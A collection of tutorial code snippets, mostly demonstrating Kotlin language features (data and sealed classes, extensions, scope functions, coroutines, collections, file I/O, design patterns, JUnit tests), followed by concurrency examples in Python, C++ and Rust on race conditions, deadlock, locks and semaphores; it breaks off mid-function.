// Functional interface (SAM - Single Abstract Method)
fun interface StringProcessor {
    fun process(input: String): String
}

// Can be instantiated with lambda
val uppercase = StringProcessor { it.uppercase() }
val result = uppercase.process("hello")  // "HELLO"

// Data class
data class User(
    val name: String,
    val age: Int,
    val email: String
)

val user1 = User("Alice", 30, "alice@example.com")
val user2 = User("Alice", 30, "alice@example.com")

// Automatically generated methods
println(user1.toString())  // User(name=Alice, age=30, email=alice@example.com)
println(user1 == user2)  // true (structural equality)
println(user1 === user2)  // false (referential equality)

// Copy with modifications
val user3 = user1.copy(age = 31)
val user4 = user1.copy(email = "newemail@example.com")

// Destructuring
val (name, age, email) = user1
println("$name is $age years old")

// Data classes can have body
data class Person(val name: String, val age: Int) {
    var nickname: String = ""

    fun greet() = "Hello, I'm $name"
}

// Sealed class (all subclasses must be in same file)
sealed class Result<out T> {
    data class Success<T>(val data: T) : Result<T>()
    data class Error(val message: String, val code: Int) : Result<Nothing>()
    object Loading : Result<Nothing>()
}

// Pattern matching with when
fun <T> handleResult(result: Result<T>) {
    when (result) {
        is Result.Success -> println("Success: ${result.data}")
        is Result.Error -> println("Error ${result.code}: ${result.message}")
        is Result.Loading -> println("Loading...")
        // No else needed - compiler knows all cases
    }
}

val success = Result.Success("Data loaded")
val error = Result.Error("Not found", 404)
val loading = Result.Loading

handleResult(success)
handleResult(error)

// Another example
sealed interface UiState {
    object Idle : UiState
    object Loading : UiState
    data class Success(val data: String) : UiState
    data class Error(val exception: Throwable) : UiState
}

// Object (singleton)
object DatabaseConfig {
    val url = "jdbc:mysql://localhost:3306/mydb"
    val username = "admin"

    fun connect() {
        println("Connecting to $url")
    }
}

// Usage
DatabaseConfig.connect()
println(DatabaseConfig.url)

// Object expression (anonymous object)
val clickListener = object : Clickable {
    override fun click() {
        println("Clicked!")
    }
}

// Companion object (similar to static members in Java)
class MyClass {
    companion object {
        const val CONSTANT = 42

        fun create(): MyClass {
            return MyClass()
        }
    }

    fun instanceMethod() {
        println("Instance method")
    }
}

// Usage
val constant = MyClass.CONSTANT
val instance = MyClass.create()
instance.instanceMethod()

// Named companion object
class User {
    companion object Factory {
        fun create(name: String): User {
            return User()
        }
    }
}

val user = User.create("Alice")
// or
val user2 = User.Factory.create("Bob")

// Companion object implementing interface
interface JsonSerializer<T> {
    fun toJson(obj: T): String
}

class Person(val name: String, val age: Int) {
    companion object : JsonSerializer<Person> {
        override fun toJson(obj: Person): String {
            return """{"name":"${obj.name}","age":${obj.age}}"""
        }
    }
}

val json = Person.toJson(Person("Alice", 30))

// Nested class (static by default)
class Outer {
    private val bar: Int = 1

    class Nested {
        fun foo() = 2
        // Cannot access bar (no reference to Outer)
    }
}

val demo = Outer.Nested().foo()

// Inner class (has reference to outer)
class Outer2 {
    private val bar: Int = 1

    inner class Inner {
        fun foo() = bar  // Can access bar
        fun getOuter() = this@Outer2
    }
}

val outer = Outer2()
val inner = outer.Inner()
val result = inner.foo()  // 1

// Basic enum
enum class Direction {
    NORTH, SOUTH, EAST, WEST
}

val direction = Direction.NORTH

// Enum with properties
enum class Color(val rgb: Int) {
    RED(0xFF0000),
    GREEN(0x00FF00),
    BLUE(0x0000FF)
}

val red = Color.RED
val rgb = red.rgb

// Enum with methods
enum class Operation {
    ADD {
        override fun apply(x: Int, y: Int) = x + y
    },
    SUBTRACT {
        override fun apply(x: Int, y: Int) = x - y
    },
    MULTIPLY {
        override fun apply(x: Int, y: Int) = x * y
    },
    DIVIDE {
        override fun apply(x: Int, y: Int) = x / y
    };

    abstract fun apply(x: Int, y: Int): Int
}

val result = Operation.ADD.apply(5, 3)  // 8

// Enum properties and methods
enum class Status(val description: String) {
    PENDING("Waiting for approval"),
    APPROVED("Request approved"),
    REJECTED("Request rejected");

    fun isComplete() = this != PENDING
}

// Iterate over enum values
for (status in Status.values()) {
    println("${status.name}: ${status.description}")
}

// Get enum by name
val status = Status.valueOf("APPROVED")

// Modern way (Kotlin 1.9+)
val statuses = Status.entries

// Extension function
fun String.removeWhitespace(): String {
    return this.replace(" ", "")
}

val text = "Hello World"
val result = text.removeWhitespace()  // "HelloWorld"

// Extension with receiver
fun Int.isEven(): Boolean = this % 2 == 0
fun Int.isOdd(): Boolean = this % 2 == 1

println(4.isEven())  // true
println(5.isOdd())  // true

// Extension properties
val String.firstChar: Char
    get() = if (this.isNotEmpty()) this[0] else ' '

val String.lastChar: Char
    get() = if (this.isNotEmpty()) this[this.length - 1] else ' '

println("Hello".firstChar)  // 'H'
println("World".lastChar)  // 'd'

// Extensions on nullable types
fun String?.isNullOrBlank(): Boolean {
    return this == null || this.isBlank()
}

val nullString: String? = null
println(nullString.isNullOrBlank())  // true

// Extension function for collections
fun <T> List<T>.secondOrNull(): T? {
    return if (this.size >= 2) this[1] else null
}

val list = listOf(1, 2, 3)
println(list.secondOrNull())  // 2

// Generic extension function
fun <T> T.applyIf(condition: Boolean, block: T.() -> Unit): T {
    if (condition) {
        this.block()
    }
    return this
}

val builder = StringBuilder()
    .append("Hello")
    .applyIf(true) { append(" World") }
    .applyIf(false) { append(" Kotlin") }
    .toString()  // "Hello World"

// Extension functions on companion objects
class MyClass {
    companion object { }
}

fun MyClass.Companion.create(): MyClass {
    return MyClass()
}

val instance = MyClass.create()

// let - Execute lambda on object, returns lambda result
val name: String? = "Alice"
val length = name?.let {
    println("Name is $it")
    it.length  // Returns this
} ?: 0

val numbers = listOf(1, 2, 3)
numbers.let {
    println("List size: ${it.size}")
    it.filter { num -> num > 1 }
}

// run - Execute lambda on object, returns lambda result
val person = Person("Alice", 30)
val greeting = person.run {
    println("Name: $name")
    println("Age: $age")
    "Hello, $name"  // Returns this
}

// with - Non-extension function, returns lambda result
val result = with(person) {
    println("Name: $name")
    println("Age: $age")
    "Processed"
}

// apply - Configure object, returns the object itself
val person2 = Person("Bob", 25).apply {
    age = 26
    email = "bob@example.com"
}

val list = mutableListOf<String>().apply {
    add("One")
    add("Two")
    add("Three")
}

// also - Perform side effects, returns the object itself
val numbers2 = mutableListOf(1, 2, 3).also {
    println("Initial list: $it")
}.also {
    it.add(4)
}.also {
    println("After adding: $it")
}

// takeIf - Returns object if predicate is true, else null
val positiveNumber = 42.takeIf { it > 0 }  // 42
val negativeNumber = (-5).takeIf { it > 0 }  // null

val validName = "Alice".takeIf { it.length > 3 }  // "Alice"

// takeUnless - Returns object if predicate is false, else null
val shortName = "Al".takeUnless { it.length > 3 }  // "Al"
val longName = "Alice".takeUnless { it.length > 3 }  // null

// Chaining scope functions
val result = listOf(1, 2, 3, 4, 5)
    .filter { it > 2 }
    .also { println("Filtered: $it") }
    .map { it * 2 }
    .also { println("Mapped: $it") }
    .sum()
    .also { println("Sum: $it") }

// Practical example
data class User(var name: String, var age: Int, var email: String = "")

val user = User("Alice", 30).apply {
    email = "alice@example.com"
}.also {
    println("Created user: $it")
}.takeIf {
    it.age >= 18
}?.let {
    "Valid adult user: ${it.name}"
} ?: "Invalid user"

interface Base {
    fun print()
    fun printMessage(message: String)
}

class BaseImpl(val x: Int) : Base {
    override fun print() {
        println(x)
    }

    override fun printMessage(message: String) {
        println(message)
    }
}

// Delegate to BaseImpl
class Derived(b: Base) : Base by b {
    // Can override if needed
    override fun printMessage(message: String) {
        println("Derived: $message")
    }
}

val base = BaseImpl(10)
val derived = Derived(base)
derived.print()  // 10 (delegated to base)
derived.printMessage("Hello")  // "Derived: Hello" (overridden)

import kotlin.properties.Delegates

class User {
    // Lazy property (initialized on first access)
    val heavyData: String by lazy {
        println("Computing heavy data...")
        "Heavy Data"
    }

    // Observable property (notified on change)
    var name: String by Delegates.observable("Initial") { prop, old, new ->
        println("${prop.name} changed from $old to $new")
    }

    // Vetoable property (can reject changes)
    var age: Int by Delegates.vetoable(0) { prop, old, new ->
        new >= 0  // Only allow non-negative ages
    }

    // Not-null property (must be initialized before use)
    var email: String by Delegates.notNull()

    // Delegate to another property
    var nickname: String = ""
    var displayName: String by this::nickname
}

val user = User()
user.name = "Alice"  // Prints: name changed from Initial to Alice
user.age = 30  // OK
user.age = -5  // Rejected (age remains 30)
user.email = "alice@example.com"

// First access triggers lazy initialization
println(user.heavyData)  // Prints: "Computing heavy data..." then "Heavy Data"
println(user.heavyData)  // Just prints: "Heavy Data"

// Custom delegation
import kotlin.reflect.KProperty

class Delegate {
    operator fun getValue(thisRef: Any?, property: KProperty<*>): String {
        return "$thisRef, thank you for delegating '${property.name}' to me!"
    }

    operator fun setValue(thisRef: Any?, property: KProperty<*>, value: String) {
        println("$value has been assigned to '${property.name}' in $thisRef.")
    }
}

class Example {
    var p: String by Delegate()
}

// Map delegation
class UserFromMap(map: Map<String, Any?>) {
    val name: String by map
    val age: Int by map
}

val user2 = UserFromMap(mapOf(
    "name" to "Bob",
    "age" to 25
))
println(user2.name)  // Bob
println(user2.age)  // 25

val numbers = listOf(1, 2, 3, 4, 5, 6, 7, 8, 9, 10)

// Filter
val evens = numbers.filter { it % 2 == 0 }  // [2, 4, 6, 8, 10]
val odds = numbers.filterNot { it % 2 == 0 }  // [1, 3, 5, 7, 9]
val greaterThan5 = numbers.filter { it > 5 }  // [6, 7, 8, 9, 10]

// Map (transform)
val squared = numbers.map { it * it }  // [1, 4, 9, 16, 25, ...]
val strings = numbers.map { "Number: $it" }

// FlatMap (flatten nested collections)
val nested = listOf(listOf(1, 2), listOf(3, 4), listOf(5, 6))
val flat = nested.flatten()  // [1, 2, 3, 4, 5, 6]

val words = listOf("hello", "world")
val chars = words.flatMap { it.toList() }  // [h, e, l, l, o, w, o, r, l, d]

// Distinct
val duplicates = listOf(1, 2, 2, 3, 3, 3, 4)
val unique = duplicates.distinct()  // [1, 2, 3, 4]

// DistinctBy
data class Person(val name: String, val age: Int)
val people = listOf(
    Person("Alice", 30),
    Person("Bob", 25),
    Person("Alice", 35)
)
val uniqueNames = people.distinctBy { it.name }  // [Alice(30), Bob(25)]

// Take and drop
val first3 = numbers.take(3)  // [1, 2, 3]
val last3 = numbers.takeLast(3)  // [8, 9, 10]
val without3 = numbers.drop(3)  // [4, 5, 6, 7, 8, 9, 10]
val takeWhileLessThan5 = numbers.takeWhile { it < 5 }  // [1, 2, 3, 4]

// Sorted
val sorted = listOf(5, 2, 8, 1, 9).sorted()  // [1, 2, 5, 8, 9]
val sortedDesc = numbers.sortedDescending()
val sortedByAge = people.sortedBy { it.age }
val sortedByName = people.sortedByDescending { it.name }

// GroupBy
val grouped = numbers.groupBy { it % 3 }
// {1=[1, 4, 7, 10], 2=[2, 5, 8], 0=[3, 6, 9]}

val groupedByAge = people.groupBy { it.age }

// Partition (split by predicate)
val (evens2, odds2) = numbers.partition { it % 2 == 0 }

// Reduce and fold
val sum = numbers.reduce { acc, n -> acc + n }  // 55
val product = numbers.fold(1) { acc, n -> acc * n }

val concatenated = listOf("a", "b", "c").reduce { acc, s -> acc + s }  // "abc"

// Any, all, none
val hasEven = numbers.any { it % 2 == 0 }  // true
val allPositive = numbers.all { it > 0 }  // true
val noneNegative = numbers.none { it < 0 }  // true

// Find
val firstEven = numbers.find { it % 2 == 0 }  // 2 (or null if not found)
val firstOrNull = numbers.firstOrNull { it > 100 }  // null
val lastOdd = numbers.lastOrNull { it % 2 == 1 }  // 9

// Count
val evenCount = numbers.count { it % 2 == 0 }  // 5

// Sum, average, min, max
val total = numbers.sum()  // 55
val average = numbers.average()  // 5.5
val min = numbers.minOrNull()  // 1
val max = numbers.maxOrNull()  // 10

// SumOf, minOf, maxOf
val totalAge = people.sumOf { it.age }
val minAge = people.minOf { it.age }
val maxAge = people.maxOf { it.age }

// Associate (create map from list)
val nameToAge = people.associate { it.name to it.age }
val ageToName = people.associateBy { it.age }
val nameToUpper = people.associateWith { it.name.uppercase() }

// Zip (combine two lists)
val names = listOf("Alice", "Bob", "Charlie")
val ages = listOf(30, 25, 35)
val pairs = names.zip(ages)  // [(Alice, 30), (Bob, 25), (Charlie, 35)]

val combined = names.zip(ages) { name, age ->
    "$name is $age years old"
}

// Chunked (split into sublists)
val chunks = numbers.chunked(3)  // [[1, 2, 3], [4, 5, 6], [7, 8, 9], [10]]

// Windowed (sliding window)
val windows = numbers.windowed(3)  // [[1,2,3], [2,3,4], [3,4,5], ...]

// JoinToString
val csv = numbers.joinToString(", ")  // "1, 2, 3, 4, 5, ..."
val custom = numbers.joinToString(
    separator = " | ",
    prefix = "[",
    postfix = "]",
    limit = 5,
    truncated = "..."
) { "No.$it" }  // "[No.1 | No.2 | No.3 | No.4 | No.5 | ...]"

// Sequences (lazy evaluation)
val sequence = numbers.asSequence()
    .filter { println("Filter: $it"); it % 2 == 0 }
    .map { println("Map: $it"); it * it }
    .toList()  // Operations only executed here

import kotlinx.coroutines.*

// Basic coroutine launch
fun main() = runBlocking {
    launch {
        delay(1000L)
        println("World!")
    }
    println("Hello,")
}

// Async/await
suspend fun fetchData(): String {
    delay(1000L)
    return "Data"
}

fun main2() = runBlocking {
    val deferred = async {
        fetchData()
    }
    println("Fetching...")
    val result = deferred.await()
    println("Result: $result")
}

// Multiple async operations
fun main3() = runBlocking {
    val time = measureTimeMillis {
        val one = async { fetchOne() }
        val two = async { fetchTwo() }
        println("The answer is ${one.await() + two.await()}")
    }
    println("Completed in $time ms")
}

suspend fun fetchOne(): Int {
    delay(1000L)
    return 1
}

suspend fun fetchTwo(): Int {
    delay(1000L)
    return 2
}

// Coroutine scope
fun main4() = runBlocking {
    launch {
        repeat(5) { i ->
            println("Coroutine A: $i")
            delay(500L)
        }
    }

    launch {
        repeat(5) { i ->
            println("Coroutine B: $i")
            delay(300L)
        }
    }

    delay(3000L)
}

// Structured concurrency
suspend fun doWork() = coroutineScope {
    launch {
        delay(1000L)
        println("Task 1")
    }
    launch {
        delay(2000L)
        println("Task 2")
    }
    println("All tasks started")
}

// Flow (cold asynchronous stream)
fun getNumbers(): Flow<Int> = flow {
    for (i in 1..5) {
        delay(100)
        emit(i)
    }
}

fun main5() = runBlocking {
    getNumbers().collect { value ->
        println(value)
    }
}

// Flow operators
fun main6() = runBlocking {
    (1..10).asFlow()
        .filter { it % 2 == 0 }
        .map { it * it }
        .collect { println(it) }
}

// Exception handling
fun main7() = runBlocking {
    val job = launch {
        try {
            repeat(1000) { i ->
                println("Job: $i")
                delay(500L)
            }
        } catch (e: CancellationException) {
            println("Job cancelled")
        } finally {
            println("Job cleanup")
        }
    }

    delay(1300L)
    println("Cancelling job")
    job.cancelAndJoin()
    println("Main done")
}

// Timeout
fun main8() = runBlocking {
    withTimeout(1300L) {
        repeat(1000) { i ->
            println("Task: $i")
            delay(500L)
        }
    }
}

// withContext (switch context)
fun main9() = runBlocking {
    launch(Dispatchers.Default) {
        println("Default: ${Thread.currentThread().name}")

        withContext(Dispatchers.IO) {
            println("IO: ${Thread.currentThread().name}")
            delay(1000L)
        }

        withContext(Dispatchers.Main) {
            println("Main: ${Thread.currentThread().name}")
        }
    }
}

// Generic class
class Box<T>(val value: T)

val intBox = Box(42)
val stringBox = Box("Hello")
val int = intBox.value  // Int
val str = stringBox.value  // String

// Generic function
fun <T> singletonList(item: T): List<T> {
    return listOf(item)
}

val list = singletonList(42)  // List<Int>
val list2 = singletonList("Hello")  // List<String>

// Multiple type parameters
class Pair<K, V>(val key: K, val value: V)

val pair = Pair("name", "Alice")

// Type constraints
fun <T : Comparable<T>> sort(list: List<T>): List<T> {
    return list.sorted()
}

val sorted = sort(listOf(3, 1, 4, 1, 5))

// Multiple constraints
fun <T> copyWhenGreater(list: List<T>, threshold: T): List<T>
    where T : Comparable<T>, T : Number {
    return list.filter { it > threshold }
}

// Variance: out (covariant)
interface Producer<out T> {
    fun produce(): T
}

class StringProducer : Producer<String> {
    override fun produce() = "Hello"
}

val producer: Producer<Any> = StringProducer()  // OK (covariant)

// Variance: in (contravariant)
interface Consumer<in T> {
    fun consume(item: T)
}

class AnyConsumer : Consumer<Any> {
    override fun consume(item: Any) {
        println(item)
    }
}

val consumer: Consumer<String> = AnyConsumer()  // OK (contravariant)

// Star projection
fun printList(list: List<*>) {
    for (item in list) {
        println(item)
    }
}

// Reified type parameters (with inline)
inline fun <reified T> isA(value: Any): Boolean {
    return value is T
}

println(isA<String>("Hello"))  // true
println(isA<Int>("Hello"))  // false

inline fun <reified T> parseJson(json: String): T {
    // Can access T::class at runtime
    return when (T::class) {
        String::class -> json as T
        Int::class -> json.toInt() as T
        else -> throw IllegalArgumentException()
    }
}

// Try-catch
try {
    val result = 10 / 0
} catch (e: ArithmeticException) {
    println("Cannot divide by zero!")
} catch (e: Exception) {
    println("General error: ${e.message}")
} finally {
    println("Cleanup code")
}

// Try as expression
val result = try {
    "123".toInt()
} catch (e: NumberFormatException) {
    0
}

// Nothing type
fun fail(message: String): Nothing {
    throw IllegalArgumentException(message)
}

// Require (for arguments)
fun setAge(age: Int) {
    require(age >= 0) { "Age cannot be negative" }
    // ...
}

// Check (for state)
fun process() {
    check(isInitialized) { "Not initialized" }
    // ...
}

// requireNotNull
fun processUser(user: User?) {
    val nonNullUser = requireNotNull(user) { "User cannot be null" }
    // nonNullUser is now User (not nullable)
}

// checkNotNull
val value = checkNotNull(nullableValue) { "Value is null" }

// Result type (Kotlin 1.3+)
fun divide(a: Int, b: Int): Result<Int> {
    return if (b == 0) {
        Result.failure(ArithmeticException("Division by zero"))
    } else {
        Result.success(a / b)
    }
}

val result = divide(10, 2)
result.onSuccess { println("Result: $it") }
result.onFailure { println("Error: ${it.message}") }

val value = result.getOrNull()  // Int? (null on failure)
val valueOrDefault = result.getOrDefault(0)
val valueOrElse = result.getOrElse { 0 }

// runCatching (wraps exceptions in Result)
val result2 = runCatching {
    "123".toInt()
}

val result3 = runCatching {
    "abc".toInt()
}.onFailure {
    println("Failed: ${it.message}")
}.getOrDefault(0)

// Custom exceptions
class InvalidUserException(message: String) : Exception(message)
class UserNotFoundException(val userId: Int) : Exception("User $userId not found")

fun findUser(id: Int): User {
    if (id < 0) {
        throw InvalidUserException("Invalid user ID")
    }
    if (id > 1000) {
        throw UserNotFoundException(id)
    }
    return User("User$id", 30)
}

// Using exceptions
try {
    val user = findUser(2000)
} catch (e: UserNotFoundException) {
    println("User ${e.userId} not found")
} catch (e: InvalidUserException) {
    println("Invalid user: ${e.message}")
}

import java.io.File

// Read entire file
val content = File("file.txt").readText()
val lines = File("file.txt").readLines()  // List<String>
val bytes = File("file.txt").readBytes()

// Read with specific encoding
val utf8Content = File("file.txt").readText(Charsets.UTF_8)

// Read line by line (efficient for large files)
File("file.txt").forEachLine { line ->
    println(line)
}

File("file.txt").useLines { lines ->
    lines.forEach { println(it) }
}

// Write to file
File("output.txt").writeText("Hello, World!")
File("output.txt").writeBytes(byteArrayOf(1, 2, 3))

// Append to file
File("output.txt").appendText("\nNew line")

// Write lines
val lines = listOf("Line 1", "Line 2", "Line 3")
File("output.txt").writeText(lines.joinToString("\n"))

// BufferedReader/Writer
File("file.txt").bufferedReader().use { reader ->
    var line = reader.readLine()
    while (line != null) {
        println(line)
        line = reader.readLine()
    }
}

File("output.txt").bufferedWriter().use { writer ->
    writer.write("Line 1\n")
    writer.write("Line 2\n")
}

// PrintWriter
File("output.txt").printWriter().use { writer ->
    writer.println("Line 1")
    writer.println("Line 2")
}

// File operations
val file = File("path/to/file.txt")
val exists = file.exists()
val isFile = file.isFile
val isDirectory = file.isDirectory
val canRead = file.canRead()
val canWrite = file.canWrite()
val size = file.length()
val name = file.name
val path = file.path
val absolutePath = file.absolutePath
val parent = file.parent

// Create/delete
file.createNewFile()
file.delete()
file.mkdir()  // Create directory
file.mkdirs()  // Create directory and parents
file.deleteRecursively()  // Delete directory and contents

// List files
val dir = File("directory")
val files = dir.listFiles()  // Array<File>?
val fileNames = dir.list()  // Array<String>?

dir.walk().forEach { file ->
    println(file.path)
}

// Copy/move
val source = File("source.txt")
val dest = File("dest.txt")
source.copyTo(dest, overwrite = true)

// Working with paths
val file2 = File("dir", "file.txt")  // dir/file.txt
val file3 = File(File("dir"), "file.txt")

// Temp files
val tempFile = File.createTempFile("prefix", ".txt")
tempFile.deleteOnExit()

object Singleton {
    fun doSomething() {
        println("Singleton method")
    }
}

// Usage
Singleton.doSomething()

interface Animal {
    fun sound(): String
}

class Dog : Animal {
    override fun sound() = "Woof!"
}

class Cat : Animal {
    override fun sound() = "Meow!"
}

object AnimalFactory {
    fun create(type: String): Animal {
        return when (type) {
            "dog" -> Dog()
            "cat" -> Cat()
            else -> throw IllegalArgumentException("Unknown animal type")
        }
    }
}

// Usage
val dog = AnimalFactory.create("dog")
println(dog.sound())

class Pizza private constructor(
    val size: String,
    val cheese: Boolean,
    val pepperoni: Boolean,
    val mushrooms: Boolean
) {
    class Builder {
        private var size: String = "Medium"
        private var cheese: Boolean = false
        private var pepperoni: Boolean = false
        private var mushrooms: Boolean = false

        fun size(size: String) = apply { this.size = size }
        fun cheese(value: Boolean = true) = apply { this.cheese = value }
        fun pepperoni(value: Boolean = true) = apply { this.pepperoni = value }
        fun mushrooms(value: Boolean = true) = apply { this.mushrooms = value }

        fun build() = Pizza(size, cheese, pepperoni, mushrooms)
    }
}

// Usage
val pizza = Pizza.Builder()
    .size("Large")
    .cheese()
    .pepperoni()
    .build()

// Or use data class with defaults
data class Pizza2(
    val size: String = "Medium",
    val cheese: Boolean = false,
    val pepperoni: Boolean = false,
    val mushrooms: Boolean = false
)

val pizza2 = Pizza2(
    size = "Large",
    cheese = true,
    pepperoni = true
)

interface Observer {
    fun update(data: String)
}

class Subject {
    private val observers = mutableListOf<Observer>()

    fun attach(observer: Observer) {
        observers.add(observer)
    }

    fun detach(observer: Observer) {
        observers.remove(observer)
    }

    fun notify(data: String) {
        observers.forEach { it.update(data) }
    }
}

class ConcreteObserver(val name: String) : Observer {
    override fun update(data: String) {
        println("$name received: $data")
    }
}

// Usage
val subject = Subject()
val observer1 = ConcreteObserver("Observer 1")
val observer2 = ConcreteObserver("Observer 2")

subject.attach(observer1)
subject.attach(observer2)
subject.notify("Hello!")

interface PaymentStrategy {
    fun pay(amount: Double)
}

class CreditCardPayment : PaymentStrategy {
    override fun pay(amount: Double) {
        println("Paid $$amount with credit card")
    }
}

class PayPalPayment : PaymentStrategy {
    override fun pay(amount: Double) {
        println("Paid $$amount with PayPal")
    }
}

class ShoppingCart {
    private var paymentStrategy: PaymentStrategy? = null

    fun setPaymentStrategy(strategy: PaymentStrategy) {
        paymentStrategy = strategy
    }

    fun checkout(amount: Double) {
        paymentStrategy?.pay(amount)
    }
}

// Usage
val cart = ShoppingCart()
cart.setPaymentStrategy(CreditCardPayment())
cart.checkout(100.0)

cart.setPaymentStrategy(PayPalPayment())
cart.checkout(50.0)

import org.junit.jupiter.api.Test
import org.junit.jupiter.api.Assertions.*
import org.junit.jupiter.api.BeforeEach
import org.junit.jupiter.api.AfterEach

class CalculatorTest {
    private lateinit var calculator: Calculator

    @BeforeEach
    fun setup() {
        calculator = Calculator()
    }

    @Test
    fun `test addition`() {
        val result = calculator.add(2, 3)
        assertEquals(5, result)
    }

    @Test
    fun `test subtraction`() {
        val result = calculator.subtract(5, 3)
        assertEquals(2, result)
    }

    @Test
    fun `test division by zero throws exception`() {
        assertThrows<ArithmeticException> {
            calculator.divide(10, 0)
        }
    }

    @Test
    fun `test list is not empty`() {
        val list = listOf(1, 2, 3)
        assertTrue(list.isNotEmpty())
        assertFalse(list.isEmpty())
    }

    @Test
    fun `test nullable value`() {
        val value: String? = null
        assertNull(value)

        val nonNull = "Hello"
        assertNotNull(nonNull)
    }

    @AfterEach
    fun teardown() {
        // Cleanup
    }
}

// Kotlin test assertions
import kotlin.test.*

class StringUtilsTest {
    @Test
    fun testUppercase() {
        assertEquals("HELLO", "hello".uppercase())
    }

    @Test
    fun testContains() {
        assertTrue("Hello World".contains("World"))
    }
}

val immutable = "Cannot change"  // Preferred
var mutable = "Can change"  // Use when necessary

val name: String? = getName()
val length = name?.length ?: 0

data class User(val name: String, val age: Int)

fun String.removeWhitespace() = replace(" ", "")

val user = User("Alice", 30).apply {
    email = "alice@example.com"
}

when (value) {
    1 -> println("One")
    2 -> println("Two")
    else -> println("Other")
}

createUser(name = "Alice", age = 30, email = "alice@example.com")

fun greet(name: String = "World") = "Hello, $name!"

val evens = numbers.filter { it % 2 == 0 }

sealed class Result {
    data class Success(val data: String) : Result()
    data class Error(val error: String) : Result()
}

Concurrency:        |----Task A----|----Task A----|
                         |----Task B----|----Task B----|
                    (Interleaved on single core)

Parallelism:        |----Task A----|----Task A----|
                    |----Task B----|----Task B----|
                    (Simultaneous on multiple cores)

# Python multiprocessing example
import multiprocessing
import os

def worker(num):
    print(f"Worker {num}, PID: {os.getpid()}")
    return num * num

if __name__ == '__main__':
    # Create separate processes
    with multiprocessing.Pool(processes=4) as pool:
        results = pool.map(worker, range(10))
    print(results)

# Python threading example
import threading

def worker(num):
    print(f"Worker {num}, Thread: {threading.current_thread().name}")
    return num * num

threads = []
for i in range(5):
    t = threading.Thread(target=worker, args=(i,))
    threads.append(t)
    t.start()

for t in threads:
    t.join()

Thread A running -> Interrupt/yield -> Save Thread A state
                                    -> Load Thread B state
Thread B running -> Interrupt/yield -> Save Thread B state
                                    -> Load Thread A state
Thread A resumes

# UNSAFE: Race condition
class BankAccount:
    def __init__(self):
        self.balance = 0

    def deposit(self, amount):
        # This is NOT atomic!
        current = self.balance  # Read
        current += amount       # Modify
        self.balance = current  # Write

# Two threads depositing simultaneously
account = BankAccount()

# Thread 1: deposit(100)
# Thread 2: deposit(50)

# Possible execution:
# T1: current = balance  (reads 0)
# T2: current = balance  (reads 0)
# T1: current += 100     (current = 100)
# T2: current += 50      (current = 50)
# T1: balance = current  (balance = 100)
# T2: balance = current  (balance = 50)
# Final balance: 50 (WRONG! Should be 150)

# Check-then-act race condition
if file_exists("config.txt"):  # Check
    data = read_file("config.txt")  # Act (file might be deleted between check and read)

import threading

fork1 = threading.Lock()
fork2 = threading.Lock()

def philosopher1():
    fork1.acquire()  # Got fork 1
    # Context switch!
    fork2.acquire()  # Waiting for fork 2... (held by philosopher2)
    print("Philosopher 1 eating")
    fork2.release()
    fork1.release()

def philosopher2():
    fork2.acquire()  # Got fork 2
    # Context switch!
    fork1.acquire()  # Waiting for fork 1... (held by philosopher1)
    print("Philosopher 2 eating")
    fork1.release()
    fork2.release()

# DEADLOCK: philosopher1 has fork1, wants fork2
#           philosopher2 has fork2, wants fork1
#           Both wait forever

Thread A:          Thread B:
lock(mutex1)       lock(mutex2)
  lock(mutex2)       lock(mutex1)  <-- DEADLOCK
    ...                ...
  unlock(mutex2)     unlock(mutex1)
unlock(mutex1)     unlock(mutex2)

    Thread A              Thread B
       |                     |
   Lock(R1) ✓               |
       |                 Lock(R2) ✓
       |                     |
   Lock(R2) ⏸              |
   (waiting...)             |
       |                 Lock(R1) ⏸
       |                 (waiting...)
       ↓                     ↓
     DEADLOCK - Both threads waiting forever

import threading

class Counter:
    def __init__(self):
        self.value = 0
        self.lock = threading.Lock()

    def increment(self):
        with self.lock:  # Acquire lock
            # Critical section
            current = self.value
            current += 1
            self.value = current
        # Lock released automatically

    def increment_manual(self):
        self.lock.acquire()
        try:
            self.value += 1
        finally:
            self.lock.release()  # Always release, even if exception

# Usage
counter = Counter()
threads = [threading.Thread(target=counter.increment) for _ in range(1000)]
for t in threads:
    t.start()
for t in threads:
    t.join()
print(f"Final value: {counter.value}")  # Correctly prints 1000

#include <mutex>
#include <thread>

class Counter {
private:
    int value = 0;
    std::mutex mtx;

public:
    void increment() {
        std::lock_guard<std::mutex> lock(mtx);  // RAII
        value++;
    }  // Lock released automatically

    void increment_manual() {
        mtx.lock();
        value++;
        mtx.unlock();
    }

    bool try_increment() {
        if (mtx.try_lock()) {
            value++;
            mtx.unlock();
            return true;
        }
        return false;
    }

    int get_value() {
        std::lock_guard<std::mutex> lock(mtx);
        return value;
    }
};

use std::sync::{Arc, Mutex};
use std::thread;

fn main() {
    let counter = Arc::new(Mutex::new(0));
    let mut handles = vec![];

    for _ in 0..10 {
        let counter = Arc::clone(&counter);
        let handle = thread::spawn(move || {
            let mut num = counter.lock().unwrap();
            *num += 1;
        }); // Lock released when `num` goes out of scope
        handles.push(handle);
    }

    for handle in handles {
        handle.join().unwrap();
    }

    println!("Result: {}", *counter.lock().unwrap());
}
import threading

# Recursive lock example
lock = threading.RLock()  # Recursive lock

def recursive_function(n):
    with lock:
        if n > 0:
            print(n)
            recursive_function(n - 1)  # Can re-acquire same lock

recursive_function(5)

import threading
import time

# Limit to 3 concurrent database connections
db_semaphore = threading.Semaphore(3)

def access_database(thread_id):
    print(f"Thread {thread_id} waiting for DB access")
    with db_semaphore:
        print(f"Thread {thread_id} accessing database")
        time.sleep(2)  # Simulate database operation
        print(f"Thread {thread_id} done with database")

threads = [threading.Thread(target=access_database, args=(i,)) for i in range(10)]
for t in threads:
    t.start()
for t in threads:
    t.join()

#include <semaphore>
#include <thread>
#include <iostream>

std::counting_semaphore<3> db_semaphore(3);  // Max 3 concurrent accesses

void access_database(int id) {
    db_semaphore.acquire();
    std::cout << "Thread " << id << " accessing database\n";
    std::this_thread::sleep_for(std::chrono::seconds(2));
    std::cout << "Thread " << id << " done\n";
    db_semaphore.release();
}

import threading
import queue
import time

# Using semaphores to implement producer-consumer
MAX_SIZE = 5
buffer = []
mutex = threading.Lock()
empty_slots = threading.Semaphore(MAX_SIZE)  # Initially MAX_SIZE
full_slots = threading.Semaphore(0)          # Initially 0

def producer(id):
    for i in range(10):
        item = f"Item-{id}-{i}"
        empty_slots.acquire()  # Wait for empty slot
        with mutex:
            buffer.append(item)
            print(f"Producer {id} produced {item}, buffer size: {len(buffer)}")
        full_slots.release()  # Signal item available
        time.sleep(0.1)

def consumer(id):
    for i in range(10):
        full_slots.acquire()  # Wait for item
